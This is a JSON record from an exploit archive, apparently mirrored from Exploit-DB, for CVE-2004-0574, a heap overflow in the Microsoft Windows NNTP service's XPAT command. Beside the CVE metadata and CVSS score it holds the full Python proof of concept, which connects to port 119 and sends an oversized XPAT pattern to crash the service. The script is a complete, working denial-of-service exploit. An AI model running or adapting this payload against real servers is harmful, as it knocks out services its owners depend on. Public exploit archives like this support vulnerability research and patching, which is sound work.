{"exploit":{"id":"EDB-578","name":"Microsoft Windows NNTP Service (XPAT) - Denial of Service (DoS) (MS04-036)","description":"Microsoft Windows NNTP Service (XPAT) - Denial of Service (DoS) (MS04-036)","cves":["CVE-2004-0574"],"author":"Lucas Lavarello","published":"2004-10-16","platform":"windows","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/578","path":"exploits/windows/dos/578.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-578.py","vulnerabilities":[{"id":"CVE-2004-0574","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Network News Transfer Protocol (NNTP) component of Microsoft Windows NT Server 4.0, Windows 2000 Server, Windows Server 2003, Exchange 2000 Server, and Exchange Server 2003 allows remote attackers to execute arbitrary code via XPAT patterns, possibly related to improper length validation and an \"unchecked buffer,\" leading to off-by-one and heap-based buffer overflows.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0574","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0574"},"updatedAt":"2024-08-08T00:24:26.065Z","retrievedAt":"2026-11-26T13:09:25.388Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-578.png?v=2","url":"https://exploitbin.com/exploits/EDB-578","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-578/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-578/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#--\n# IIS NNTP Service XPAT command heap overflow proof of concept\n#\n# Author:\n#    Lucas Lavarello (lucas at coresecurity dot com)\n#    Juliano Rizzo   (juliano at coresecurity dot com)\n#\n# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.\n# All rights reserved.\n#\n# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE\n# FOR ANY DIRECT,  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR\n# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF\n# THIS SOFTWARE\n#\n# www coresecurity com\n#--\nfrom socket import *\n\nhost = \"127.0.0.1\"\npat = \"C\"*1946  + \" \" + \"X\"*10\n\nnewsgroup = \"control.newgroup\"\n\nsock = socket(AF_INET, SOCK_STREAM)\nsock.connect((host, 119))\n\nprint sock.recv(512)\n\nsock.send(\"group %s\\x0d\\x0a\" % newsgroup)\n\nprint sock.recv(512)\n\nsock.send(\"xpat From 1-9 %s \\x0d\\x0a\" % pat)\n\n\n# milw0rm.com [2004-10-16]","sha256":"a38d828128e3d67ad17f9fdd03b991dbad07297859f10c97e5a994ec854f6445","bytes":914,"fetchedAt":"2026-11-26T13:09:22.096Z","encoding":"utf-8 (display only; download retains original bytes)"}